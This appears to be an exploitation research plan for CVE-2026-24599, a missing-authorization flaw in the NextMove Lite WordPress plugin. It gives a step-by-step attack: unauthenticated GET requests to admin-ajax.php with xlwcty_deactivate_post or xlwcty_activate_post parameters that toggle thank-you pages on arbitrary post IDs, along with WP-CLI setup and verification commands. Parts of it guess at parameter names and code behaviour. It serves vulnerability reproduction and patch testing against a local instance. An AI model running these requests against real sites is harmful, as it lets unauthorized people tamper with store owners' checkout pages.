NextMove Lite <= 2.23.0 - Unauthenticated Insecure Direct Object Reference

This research plan targets CVE-2026-24599, an unauthenticated Insecure Direct Object Reference (IDOR) in the NextMove Lite plugin. The vulnerability stems from the plugin's use of the admin_init hook to perform state-changing actions (activating/deactivating thank-you pages) without verifying user capabilities or checking nonces.

1. Vulnerability Summary

The xlwcty_Admin class registers several methods to the admin_init hook, including maybe_activate_post and maybe_deactivate_post. Because admin_init executes even for unauthenticated requests to /wp-admin/admin-ajax.php, and these methods fail to implement capability checks (current_user_can) or nonce verification (check_admin_referer), any user can trigger these actions on arbitrary post IDs.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php (used to trigger admin_init).
• Vulnerable Hook: admin_init.
• Vulnerable Methods: xlwcty_Admin::maybe_activate_post and xlwcty_Admin::maybe_deactivate_post.
• Action Parameters: xlwcty_activate_post or xlwcty_deactivate_post.
• Object Identifier: post (the ID of the Thank You Page).
• Authentication: None required.

3. Code Flow

1. Entry Point: An unauthenticated attacker sends a GET request to /wp-admin/admin-ajax.php?xlwcty_deactivate_post=1&post=[ID].
2. WordPress Lifecycle: WordPress initializes and loads the plugin.
3. Hook Execution: admin-ajax.php (and all admin files) triggers the admin_init hook.
4. Plugin Logic: The xlwcty_Admin::maybe_deactivate_post method (registered in admin/xlwcty-admin.php at line 126) is executed.
5. Parameter Extraction: The method checks if $_GET['xlwcty_deactivate_post'] is set and retrieves $_GET['post'].
6. The Sink: The plugin performs update_post_meta($post_id, 'xlwcty_active', 'no') or changes the post status without any authorization check.

4. Nonce Acquisition Strategy

This vulnerability specifically involves a bypass/absence of nonces.

• The admin_init triggers for maybe_activate_post and maybe_deactivate_post are designed for URL-based actions in the WordPress admin list table, which typically lack nonce protection in vulnerable versions of this plugin.
• Confirmed: No nonce is required for this exploit as the vulnerability is defined by "missing validation on a user controlled key" (where the key is the command parameter).

5. Exploitation Strategy

We will demonstrate the unauthorized deactivation of an active "Thank You Page".

Step 1: Identify the Target Post ID
The attacker needs the ID of a xlwcty_thank_you post. In a typical WordPress environment, IDs are sequential (e.g., 10, 11, 12).

Step 2: Trigger Deactivation
Send a request to the admin AJAX endpoint with the deactivation trigger.

• Request Method: GET
• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Query Parameters:
  • xlwcty_deactivate_post: 1
  • post: [POST_ID]

Step 3: Trigger Activation (Optional Alternative)
To show full control, we can reactivate the post.

• URL: http://localhost:8080/wp-admin/admin-ajax.php?xlwcty_activate_post=1&post=[POST_ID]

6. Test Data Setup

Before running the exploit, ensure a Thank You Page exists and is active:

1. Create Post:

   wp post create --post_type=xlwcty_thank_you --post_title="Victim Thank You Page" --post_status=publish
   

2. Set Active Meta:

   # Get the ID of the created post first
   POST_ID=$(wp post list --post_type=xlwcty_thank_you --format=ids)
   wp post meta set $POST_ID xlwcty_active yes
   

7. Expected Results

• Response: The server will return a 200 OK (often with a 0 body, as admin-ajax.php expects an action it doesn't recognize, but admin_init has already fired).
• State Change: The database value for xlwcty_active on the target post will change from yes to no.
• Impact: The custom thank-you page will stop appearing for customers after checkout.

8. Verification Steps

After sending the HTTP request, verify the meta change using WP-CLI:

POST_ID=$(wp post list --post_type=xlwcty_thank_you --post_title="Victim Thank You Page" --format=ids)
wp post meta get $POST_ID xlwcty_active
# Expected output after exploit: no

9. Alternative Approaches

If the plugin uses a different parameter name for the "action" trigger, we can infer it by looking for other "maybe_" functions in admin/xlwcty-admin.php:

• maybe_activate_post -> xlwcty_activate or xlwcty_activate_post
• maybe_duplicate_post -> xlwcty_duplicate_post
• maybe_deactivate_post -> xlwcty_deactivate or xlwcty_deactivate_post

If the IDOR relates to a different "user-controlled key," it may involve the xlwcty_order_id parameter during the checkout flow, but given the "Unauthorized Action" description and Integrity: Low rating, the admin_init post manipulation is the most likely path.